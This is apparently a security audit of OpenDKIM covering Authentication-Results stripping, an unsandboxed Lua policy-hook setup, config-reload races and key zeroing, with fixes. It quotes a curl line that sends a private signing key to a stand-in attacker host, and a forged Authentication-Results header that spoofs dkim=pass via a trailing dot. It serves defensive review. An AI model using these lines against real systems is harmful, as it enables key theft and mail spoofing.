# Security Audit B — Protocol Logic & Runtime Security

**Codebase snapshot**: commit `318c9019d7fa904840be5ef3466b34d901228a2c`
**Scope**: `libopendkim/dkim.c`, `opendkim/opendkim.c`, `opendkim/opendkim-lua.c`,
`opendkim/opendkim-ar.c`, `libopendkim/dkim-keys.c`.
**Method**: full read of each file, in order, before findings drafted.
**Excluded from this audit**: items already listed as known-fixed in the prompt
(CVE-2022-48521, reload/close-race assert, body division-by-zero, multi-quote
parse, IGNORE→dkim=policy report path, mctx_domain pointer-vs-array,
RequiredHeaders rejection, single-canon body-skip, `ub_ctx_config` race,
`dkimf_securefile` critical-section).

---

## Findings

### [HIGH] Section 2 — A-R stripping bypass via trailing-dot authserv-id

**Status**: VULNERABLE
**What**: A crafted inbound `Authentication-Results:` header whose `authserv-id`
appends a trailing dot to the local hostname survives the A-R stripping loop
because the host comparison is byte-equal (case-folded) and `ares_parse()`
preserves the trailing dot in `ares_host`.
**Evidence**:
- `opendkim/opendkim.c:11907-11912`:
  ```c
  if (strcasecmp(authservid, (char *) ares->ares_host) == 0)
      hostmatch = TRUE;
  ```
- `opendkim/opendkim-ar.c:430-453` (state 0 → state 1 → state 0): the parser
  concatenates tokens including `"."` tokens into `ares_host`. A trailing
  dot in the input causes a `.` token to be `strlcat`-ed onto `ares_host`
  with no later trimming.
- The receiving `authservid` is set from `conf->conf_authservid` or `j` macro
  (`opendkim/opendkim.c:11644-11646`); neither ever has a trailing dot in
  normal configuration.

**Reproducer (concept)**: attacker injects
```
Authentication-Results: myhost.example.com.; dkim=pass header.d=victim.com header.b=...
```
On a host whose `authservid` is `myhost.example.com`, the strcasecmp fails
(strings differ by one trailing `.`), the header is NOT removed, and the
forged result reaches the recipient as if generated by the local milter.

**Impact**: spoof a `dkim=pass` for any domain to downstream filters / MUAs
that trust the local authserv-id. Defeats the entire purpose of A-R stripping.

**Recommendation**: normalize both sides before comparison — strip a single
trailing `.` from `ares->ares_host` (RFC 1035 fully-qualified form) before
`strcasecmp`, e.g.:
```c
size_t hlen = strlen((char *) ares->ares_host);
if (hlen > 0 && ares->ares_host[hlen - 1] == '.')
    ares->ares_host[hlen - 1] = '\0';
```
A defense-in-depth alternative is to compare by-label using a helper that
ignores a single trailing root label. The same normalization should be
applied before the `conf_remardb` lookup at `opendkim.c:11897-11906`.

---

### [HIGH] Section 3 — Lua policy hooks have unrestricted standard library access

**Status**: VULNERABLE
**What**: All three policy-script hooks (`setup`, `screen`, `final`) call
`luaL_openlibs(l)` and then register the `odkim` API on top. The standard
libraries opened include `os`, `io`, `debug`, and `package` — none of which
are sandboxed away. A hook script can execute arbitrary shell commands,
read/write arbitrary files within the daemon's reach, load arbitrary native
code, terminate the process, or pivot.
**Evidence**:
- `opendkim/opendkim-lua.c:455` (setup hook), `615` (screen hook),
  `765` (final hook): `luaL_openlibs(l);` is called unconditionally before
  the `odkim` library is registered. No `lua_pushnil`+`lua_setglobal`
  scrub follows for `os`, `io`, `debug`, `package`, `require`, `loadfile`,
  `dofile`, `loadstring`.
- No `lua_sethook()` is installed → no instruction-count interruption.
- The hooks run synchronously on the milter worker thread
  (`opendkim/opendkim.c:10897` setup; `11404` screen; `12424` final).
  A hostile or merely buggy script (`while true do end`,
  `os.execute("sleep 600")`) blocks the connection for that duration.

**Impact**: anyone who can modify a policy-script file in `SetupPolicyScript`
/ `ScreenPolicyScript` / `FinalPolicyScript` gets remote code execution as
the opendkim user. This includes:
- A compromised config-write path (a write-permission slip on the
  scripts directory after privilege drop).
- An admin who edits a script while the daemon is running and reloads —
  the script body is read at config-load time (or reload time) and held
  in `conf_setupscript` / etc.
- A library that someone *thought* was sandboxed: `os.execute("curl -d @"
  .. private_key_path .. " http://attacker/")` runs as opendkim, exfiltrating
  any file readable by that uid, including signing keys.

DoS impact: a single misbehaving script line stalls one worker; an
attacker who can post messages that take the malicious path stalls every
worker thread.

**Recommendation**: after `luaL_openlibs(l)`, explicitly remove the
dangerous globals:
```c
static const char * const dkimf_lua_strip[] = {
    "os", "io", "debug", "package",
    "require", "loadfile", "dofile", "loadstring", "load",
    NULL
};
for (int i = 0; dkimf_lua_strip[i] != NULL; i++) {
    lua_pushnil(l);
    lua_setglobal(l, dkimf_lua_strip[i]);
}
```
If the `os` library is needed for `os.time`/`os.date`, replace it with a
table containing only the safe subset rather than nil'ing the whole module.

Add an execution-time bound via `lua_sethook` with `LUA_MASKCOUNT`:
```c
static void hook_limit(lua_State *L, lua_Debug *ar) {
    luaL_error(L, "script exceeded instruction limit");
}
lua_sethook(l, hook_limit, LUA_MASKCOUNT, 1000000);
```
Tune the count to a few seconds of CPU.

The three hooks duplicate setup code — factor into a helper so the strip
list and hook installation are applied uniformly.

---

### [MEDIUM] Section 7 — `dkimf_add_signrequest` reads `curconf` without `conf_lock`

**Status**: VULNERABLE
**What**: The signing path reads three fields from the *global* `curconf`
pointer rather than the per-connection `cc->cctx_config` snapshot taken at
`mlfi_connect` time. If a `SIGUSR1` config reload swaps `curconf` between
`mlfi_connect` and `mlfi_eoh→dkimf_add_signrequest`, the message is processed
with one config's metadata but signed with the other config's key.
**Evidence**:
- `opendkim/opendkim.c:4401-4402`:
  ```c
  if (curconf->conf_seckey == NULL ||
      curconf->conf_selector == NULL)
      return 1;
  ```
- `opendkim/opendkim.c:4521`, `4528`:
  ```c
  sev = (curconf->conf_safekeys ? LOG_ERR : LOG_WARNING);
  ...
  if (curconf->conf_safekeys)
      return 2;
  ```
- The matching connection-bound config is reachable via the worker's
  `cc->cctx_config` (set under lock at `9605` / `9786`).
- `mlfi_eom` reads `cc->cctx_config != curconf` at `12706` to decide whether
  to free a stale config — confirming the convention that workers should use
  `cc->cctx_config`, not `curconf`.

**Impact**: between two reloads, signing can be performed with the wrong
key/selector pair (e.g., the wrong domain's key signs a message). The bug
is bounded by both reads referring to the same (new) config, so it is a
*consistency* bug rather than a *direct memory-safety* bug. A practical
attacker cannot trigger this — `reload` is only set by `SIGUSR1` —but a
mis-timed admin reload during high traffic could yield malformed
signatures, signing failures, or signing with the wrong selector. The
key isn't leaked: `dkim_sign` will copy `conf_seckey` into a per-message
DKIM handle.

**Recommendation**: pass `dfc`'s connection config in. `dkimf_add_signrequest`
already takes `struct msgctx *dfc`; the surrounding connctx is reachable
via SMFICTX, but it's simpler to add a `struct dkimf_config *` parameter
and use that consistently. Replace the three `curconf->...` reads with
the caller-provided pointer. The same correction should be applied to
`mlfi_connect:9753` (`curconf->conf_libopendkim`, `curconf->conf_dolog`)
which are unlocked reads before the refcnt is taken — see next finding.

---

### [MEDIUM] Section 7 — `mlfi_connect` unlocked `curconf` read before reference held

**Status**: VULNERABLE
**What**: `mlfi_connect` reads `curconf->conf_libopendkim` and
`curconf->conf_dolog` outside of `conf_lock` and *before* the refcnt bump.
If no other connections are open at that instant, a concurrent reload from
a peer worker can decrement to zero, free the config, and turn the read
into use-after-free.
**Evidence**: `opendkim/opendkim.c:9751-9759`:
```c
dkimf_config_reload();
if (!dkimf_dns_init(curconf->conf_libopendkim, curconf, &err))
{
    if (curconf->conf_dolog)
        syslog(LOG_ERR, "can't initialize resolver: %s", err);
    return SMFIS_TEMPFAIL;
}
```
The `conf_lock` is not taken until line `9784`. `dkimf_config_reload`
internally takes the lock and at `opendkim.c:7702-7706`:
```c
if (curconf->conf_refcnt == 0)
    dkimf_config_free(curconf);
curconf = new;
```
If a second worker is also in `mlfi_negotiate`/`mlfi_connect` and triggers
the reload between this worker's `dkimf_config_reload()` return and the
`curconf->conf_libopendkim` read, and the freshly-replaced config has
refcnt 0 (no other open connections), the old `curconf` will be freed
while this thread still holds the pointer.

**Impact**: rare race window (requires no other open connections at the
exact instant of a reload), but the consequence is a use-after-free of a
free'd DKIM library handle. Practically very hard to trigger; theoretically
a crash or worse.

**Recommendation**: take the lock around the whole startup block:
```c
pthread_mutex_lock(&conf_lock);
conf = curconf;
conf->conf_refcnt++;
pthread_mutex_unlock(&conf_lock);
if (!dkimf_dns_init(conf->conf_libopendkim, conf, &err)) { ... }
```
i.e., bump the refcnt *before* dereferencing any field, so the config
cannot disappear under you.

---

### [MEDIUM] Section 8 — per-message KeyTable key data is not zeroed on free

**Status**: VULNERABLE
**What**: `dkimf_cleanup` calls `TRYFREE(sr->srq_keydata)` directly. The
buffer is never `memset` to zero before `free()`. Process heap leaks
or any post-free read sees the private key.
**Evidence**:
- `opendkim/opendkim.c:8025`:
  ```c
  TRYFREE(sr->srq_keydata);
  ```
- Allocated and populated at `4556-4563`:
  ```c
  new->srq_keydata = (void *) malloc(keydatasz + 1);
  ...
  memcpy(new->srq_keydata, dbd[2].dbdata_buffer, keydatasz);
  ```
- The global `conf_seckey` *is* zeroed correctly via `dkimf_zapkey`
  (`opendkim/opendkim.c:5266-5271`), confirming the project's policy is
  to scrub key material — `srq_keydata` is an oversight.

**Impact**: after the message is finished, freed heap blocks contain
the private key bytes. Subsequent allocations may reuse this memory
without overwriting the prefix (e.g., a `malloc` of larger size, a
read-into buffer that doesn't fully fill, a `dkim_dstring_new` whose
content is later partially exposed). This widens the surface for any
generic info-leak (e.g., a heap over-read elsewhere) to disclose the
key. Core dumps written by the kernel will also contain the key.

**Recommendation**: in `dkimf_cleanup`, before freeing:
```c
if (sr->srq_keydata != NULL) {
    /* keydatasz was the alloc size; need to plumb it through, or
       use strlen + 1 only for PEM strings */
    OPENSSL_cleanse(sr->srq_keydata, strlen(sr->srq_keydata) + 1);
    free(sr->srq_keydata);
    sr->srq_keydata = NULL;
}
```
The size isn't currently retained in `struct signreq` — either store
`srq_keydatalen` alongside `srq_keydata`, or use `OPENSSL_cleanse` with
`strlen+1` (works for PEM-encoded keys, which are NUL-terminated).
`memset_explicit`/`explicit_bzero`/`OPENSSL_cleanse` is preferred over
`memset` to defeat dead-store elimination.

---

### [LOW] Section 6 — `UnprotectedKey` default is `none` — DNSSEC-insecure keys silently accepted

**Status**: SAFE BY POLICY (configurable; flagged for awareness)
**What**: When DNSSEC validation reports `DNSSEC_INSECURE` for the key TXT
record (i.e., no DNSSEC chain — typical for domains without signed zones),
the default action is `DKIMF_KEYACTIONS_NONE`: no status downgrade, no
A-R annotation difference (other than `; insecure`).
**Evidence**: `opendkim/opendkim.c:5967-5970`:
```c
else
{
    conf->conf_unprotectedkey = DKIMF_KEYACTIONS_NONE;
}
```
and the handler `opendkim/opendkim.c:9454-9466`:
```c
case DKIM_DNSSEC_INSECURE:
    dnssec = "insecure";
    if (conf->conf_unprotectedkey == DKIMF_KEYACTIONS_FAIL) ...
    else if (... == DKIMF_KEYACTIONS_NEUTRAL) ...
    break;
```
Cross-check: bogus key default *is* `FAIL` (`5948`) — bogus correctly
rejects. Insecure → accept-as-normal is the explicit chosen default.

**Impact**: a network attacker who can poison DNS for a non-DNSSEC-signed
zone can substitute their own key TXT record, so `dkim=pass` reflects
the attacker's signature, not the real signing domain's. This is the
classic DNS-spoofing scenario the protocol cannot defend against
without DNSSEC. Today, the vast majority of mail-signing zones are not
DNSSEC-signed, so making `UnprotectedKey=fail` the default would break
most installations — hence "safe by policy". An installation that wants
defense-in-depth can set `UnprotectedKey fail` explicitly.

**Recommendation**: no code change; document the trade-off in the manual
page for `UnprotectedKey`. Operators of high-value mail receivers should
consider `UnprotectedKey neutral` (downgrade) at minimum.

---

### [INFO] Section 6 — Without `USE_UNBOUND`, no DNSSEC AD-bit check; falls back to plain `res_query`

**Status**: KNOWN LIMITATION
**What**: When the build does not enable `USE_UNBOUND` (no `WITH_UNBOUND`
in the autoconf step), `dkim-keys.c`'s key-fetch path uses the registered
`dkiml_dns_waitreply` (default `dkim_res_waitreply`) which is implemented
on top of stdlib `res_query`. The `dnssec` value returned defaults to
`DKIM_DNSSEC_UNKNOWN` (see `libopendkim/dkim.c:4256-4257` —
`DKIM_FEATURE_DNSSEC` is only registered under `USE_UNBOUND`). No code
path examines the standard resolver's `AD` flag.
**Evidence**:
- `libopendkim/dkim-keys.c:80`: `int dnssec = DKIM_DNSSEC_UNKNOWN;`
- `libopendkim/dkim-keys.c:165-195`: `dnssec` is set only by the
  registered `dkiml_dns_waitreply` callback. The stub `dkim_res_*`
  implementation in `dkim-dns.c` (not read in this audit, by reference)
  is the one used without unbound, and it does not parse the AD bit.
- `libopendkim/dkim.c:4255-4257`:
  ```c
  #ifdef USE_UNBOUND
      FEATURE_ADD(libhandle, DKIM_FEATURE_DNSSEC);
  #endif
  ```

**Impact**: without unbound, all signatures land at `DKIM_DNSSEC_UNKNOWN`
and the dnssec-aware code paths in `dkimf_ar_all_sigs` are silently
skipped — equivalent to "no DNSSEC checking." This is the documented
behaviour, but it means the `BogusKey fail` default does nothing useful
in stock non-unbound builds.

**Recommendation**: if the deployment requires DNSSEC, build with
`--with-unbound` and configure a `TrustAnchorFile`. If unbound is
unavailable, the AD bit from a *trusted recursive* resolver could in
principle be honored by extending `dkim_res_waitreply` to set
`*dnssec = DKIM_DNSSEC_SECURE` when `hdr.ad == 1` in the response and
the connection to the resolver is trusted (loopback or shared secret).
This is non-trivial and rarely justified — recommend documenting
"requires unbound" rather than re-implementing it.

---

### [INFO] Section 7 — `dkimf_securefile` TOCTOU window is closed by post-open inode comparison

**Status**: SAFE
**What**: The TOCTOU concern (file replaced between `stat()`-based
permission check and `open()`) is closed because `dkimf_loadkey` opens
*first*, `fstat`s the open fd, then calls `dkimf_securefile` which
`realpath`-walks the path and stats each component, returning the leaf
inode. The caller then compares the leaf-stat inode to the `fstat` inode
and rejects on mismatch.
**Evidence**: `opendkim/opendkim.c:4316-4348`:
```c
fd = open(buf, O_RDONLY);
...
status = fstat(fd, &s);
...
if (!dkimf_securefile(buf, &ino, (uid_t) -1, error, errlen) ||
    (ino != (ino_t) -1 && ino != s.st_ino))
    *insecure = TRUE;
else
    *insecure = FALSE;
```
And `RequireSafeKeys=true` (`conf_safekeys` default TRUE at `5344`)
rejects the load when `insecure` is set (`4528-4529`). The leaf compare
catches symlink-swap attacks; directory-level swaps higher in the path
are caught by the `realpath` walk that examines each parent for
group/world writability.

**Impact / Recommendation**: no action needed. The pattern (open
first, validate against fstat'd inode) is the recommended TOCTOU-safe
idiom.

---

### [SAFE] Section 1 — CVE-2020-12272 (d= tag character-set validation) — covered for both paths

**Status**: FIXED
**What**: The character-set validation `[A-Za-z0-9._-]` is enforced in
the verifying path via `dkim_process_set`, and the signing path enforces
printable-only via `dkim_strisprint` at signing-handle creation.
**Evidence**:
- Inbound (`libopendkim/dkim.c:727-743`, inside `dkim_process_set` for
  `DKIM_SETTYPE_SIGNATURE`):
  ```c
  value = dkim_param_get(set, (u_char *) "d");
  for (p = value; *p != '\0'; p++)
  {
      if (!(isalpha(*p) || isdigit(*p) ||
            *p == '-' || *p == '_' || *p == '.'))
      {
          dkim_error(dkim, "malformed \"d=\" tag value");
          ...
          return DKIM_STAT_SYNTAX;
      }
  }
  ```
  This runs for every parsed `DKIM-Signature` header — i.e., every
  inbound verification — before any further use of `d=` for DNS or A-R
  generation.
- Outbound (`libopendkim/dkim.c:4958-4963`, inside `dkim_sign`):
  ```c
  if (!dkim_strisprint((u_char *) domain) ||
      !dkim_strisprint((u_char *) selector))
  {
      *statp = DKIM_STAT_INVALID;
      return NULL;
  }
  ```
  (`dkim_strisprint` is a stricter printable check — broader than the
  inbound `[A-Za-z0-9._-]` but adequate, since outbound `domain` is
  taken from local configuration, not external input.)

The CVE-2020-12272 header-injection-via-`d=` vector is closed: an
attacker-supplied `DKIM-Signature: ...d=evil\r\nX-Injected:...` would
fail the inbound charset check at `libopendkim/dkim.c:736` and the
signature would be marked syntactically invalid, preventing the
`d=` value from reaching any header-emit path. No action needed.

---

### [SAFE / FIXED] Section 4 — timestamp / replay handling

**Status**: FIXED
**What**: t= and x= are syntactically validated and semantically checked
against the current time with configurable clock drift; expired and
future signatures are rejected; out-of-order timestamps (x < t) are
rejected.
**Evidence**:
- Syntax (rejects negative, empty, non-numeric values):
  `libopendkim/dkim.c:746-781` for `t`, `:783-818` for `x`. The check
  insists `*end == '\0'` after `strtoull` (so trailing garbage is
  rejected), errno must be 0, and a leading `'-'` is explicitly
  reported as `ERANGE`.
- Expiry — `dkim_sig_expired` at `libopendkim/dkim.c:1580-1606`:
  `return (nowl >= expire + drift);` Called from `dkim_siglist_setup`
  at `1879-1883`; on TRUE, `sig_error = DKIM_SIGERROR_EXPIRED`.
- Future — `dkim_sig_future` at `1675-1701`:
  `return (nowl < signtime - drift);` Called from `1884-1888`; on
  TRUE, `sig_error = DKIM_SIGERROR_FUTURE`.
- x < t — `dkim_sig_timestampsok` at `1626-1657`:
  `return (signtime < expire);` Called from `1889-1893`; on FALSE,
  `sig_error = DKIM_SIGERROR_TIMESTAMPS`.
- Default `ClockDrift` is 300 s (`libopendkim/dkim.c:125`, applied to
  both bounds).

**Minor sub-observations** (not vulnerabilities):
- In `dkim_sig_future` the subtraction `signtime - drift` is performed
  as `uint64_t`. If `signtime < drift` (e.g., `t=0`), the subtraction
  wraps to ~`2^64`, and the comparison `nowl < bignum` evaluates TRUE
  → the signature is rejected as "future." This is the safe direction
  (over-rejection of malformed inputs), not exploitable.
- In `dkim_sig_expired` the addition `expire + drift` can overflow if
  `expire >= 2^64 - drift`. The wrapped sum is small, so `nowl >= sum`
  is TRUE → rejected as "expired." Again, safe direction; an attacker
  cannot bypass expiry by giving a near-`UINT64_MAX` value.

No action needed.

---

### [SAFE / FIXED] Section 5 — multi-signature selection & IGNORE→policy reporting

**Status**: FIXED
**What**: When multiple `DKIM-Signature:` headers are present, the
selection prefers passing signatures with body-hash match; otherwise
each non-ignored signature is processed and the first passing one
wins. `Authentication-Results` reports *every* signature, not just
the winner, so a downstream filter / DMARC engine can apply its
own header.d / From-alignment check.
**Evidence**:
- Selection loop in `dkim_eom_verify` at `libopendkim/dkim.c:3962-4029`:
  - first pass: find any sig with `PASSED && !IGNORE && bh==MATCH`;
  - if none, process each non-ignored sig and remember the first
    passing one (`firstgood`); short-circuits on `VERIFYONE`;
  - falls back to the first non-ignored signature on total failure
    (so reporting still happens).
- A-R emission at `opendkim/opendkim.c:9347-9538` (`dkimf_ar_all_sigs`)
  iterates `nsigs` and appends an entry for *each* signature with its
  own `header.d`, `header.s`, `header.b=` substring, and result code.
  The result code precedence (`9393-9445`) puts `IGNORE → "policy"`
  first, then `PASSED+bh==MATCH → "pass"`, etc. The "fix" for
  `DKIM_SIGFLAG_IGNORE` reporting `dkim=fail` instead of `dkim=policy`
  is visible here (the IGNORE check is the first branch).

**Attacker prepending a fake DKIM-Signature**: the fake signature is
parsed alongside the legitimate one; either both pass (if attacker
controls a valid key under a domain they own) or the fake one fails
verification while the real one still passes. In either case, the
A-R emits *both* results — a downstream DMARC check on the From:
domain alignment still picks the right one. No spoofing vector via
ordering alone.

`dkim_get_sigsubstring` (`libopendkim/dkim.c:7940-8007`) emits a
`header.b=` substring sufficient to disambiguate signatures; this is
the commit `533125b3` constraint.

No action needed.

---

### [SAFE] Section 2 — CVE-2022-48521 reverse-traversal A-R stripping

**Status**: FIXED
**What**: The A-R stripping loop traverses the header list from tail
to head, decrementing a counter `c` (starting at the total A-R count
`nars`) for every A-R header seen. The 1-based instance index passed
to `smfi_chgheader` is therefore stable across deletions — earlier
indices do not shift because deletes happen at the highest index
that still references an undeleted A-R.
**Evidence**: `opendkim/opendkim.c:11835-11932`:
```c
nars = 0;
for (hdr = dfc->mctx_hqhead; hdr != NULL; hdr = hdr->hdr_next)
    if (strcasecmp(hdr->hdr_hdr, AUTHRESULTSHDR) == 0) nars++;
c = nars;
for (hdr = dfc->mctx_hqtail; hdr != NULL; hdr = hdr->hdr_prev) {
    ...
    if (strcasecmp(hdr->hdr_hdr, AUTHRESULTSHDR) == 0) {
        ...
        if (dkimres && hostmatch)
            dkimf_chgheader(ctx, hdr->hdr_hdr, c, NULL);
        c--;
    }
}
```

The CVE-2022-48521 ordinal-numbering bypass — where deleting earlier
instances renumbered later ones and let a fake survive — does not
apply here. The trailing-dot bypass reported above is a *different*
issue at the host-comparison layer, not at the ordinal-tracking
layer.

No action needed on the traversal itself.

---

### [SAFE] Section 8 — privilege drop happens AFTER key load

**Status**: SAFE
**What**: Private keys are read from disk during `dkimf_config_load`
(called at `opendkim.c:13181`) which runs *before* the
`setgid`/`setuid` calls at `14092` / `14099`. The daemon is therefore
running as the invoking user (typically root) at the moment the key
file is opened, so a 0600-root-owned key file is readable. After the
load the key bytes live in `conf->conf_seckey` and survive the
privilege drop.
**Evidence**: ordering in `main`:
- `13181`: `dkimf_config_load(cfg, curconf, err, sizeof err, become)`
  → loads private keys (`6886-7048`).
- `13580-13647`: validate `Userid` (no privilege change yet, just
  passwd-db lookup).
- `14080-14107`: `if (getuid() != pw->pw_uid)` → `initgroups`,
  `setgid`, `setuid`.

The window during which the higher-privilege process holds the key is
strictly necessary (the unprivileged user can't read 0600 root keys),
so the order is correct.

**Key zeroing on shutdown / reload**: `dkimf_zapkey`
(`opendkim/opendkim.c:5262-5272`) `memset`s `conf->conf_seckey` before
`free` and is called from `dkimf_config_free` (`5375`), from
`dkimf_config_reload` indirectly via the same path, and on fork-parent
exit (`13766`, `13774`, `14074`). The global config key is therefore
scrubbed. The per-signrequest key is *not* — see the separate MEDIUM
finding above.

**Key in syslog / logs**: a scan of `syslog` callsites in
`opendkim.c` (greps for `conf_seckey`, `srq_keydata`, `dkim_key`) shows
no path emitting the raw key bytes — log messages reference file
*names* (e.g., `conf->conf_keyfile`) but not contents. OK.

No action needed on the global-key handling.

---

## Summary

The dominant findings in this audit are protocol-logic bypasses, not
memory-corruption issues, consistent with this prompt's focus.

1. **`Authentication-Results` stripping has a trailing-dot bypass**
   (`opendkim-ar.c` preserves a trailing `.` in `ares_host`, and the
   stripping loop does a byte-equal compare against the local
   `authservid` which never has one). This is the most directly
   exploitable finding: an external attacker can forge a `dkim=pass`
   that survives stripping and reaches the recipient.

2. **The Lua policy hooks are not sandboxed**: `os`, `io`, `debug`,
   `package` are all live. This is RCE-as-opendkim for anyone who can
   write a hook script, plus DoS for the worker thread (no execution
   time limit). Mitigation is one helper that nils out four globals
   and installs a count hook.

3. **`dkimf_add_signrequest` reads `curconf` rather than the worker's
   captured config**, opening a small reload-race window where a
   message's signing and verifying steps use different configs.

The other items are smaller: `srq_keydata` should be zeroed before
free, and the DNSSEC `UnprotectedKey` default of `none` is a documented
policy choice that operators of high-value receivers should override.

Top three actionable recommendations, in order:

1. **Normalize `ares_host`** by stripping one trailing `.` before the
   strcasecmp at `opendkim.c:11907-11912` (and before the
   `conf_remardb` lookup at `:11897-11906`). Three lines of code,
   closes the A-R bypass.

2. **Restrict the Lua sandbox**: after `luaL_openlibs`, nil-out
   `os`, `io`, `debug`, `package`, `require`, `loadfile`, `dofile`,
   `loadstring`, `load`. Add a `lua_sethook` count limit. Apply to
   all three hooks (or factor a helper).

3. **Plumb the per-connection config through `dkimf_add_signrequest`**
   so it reads `cc->cctx_config` rather than the global `curconf`.
   Also widen the lock window in `mlfi_connect:9751-9759` to cover
   the `curconf->conf_libopendkim` read.
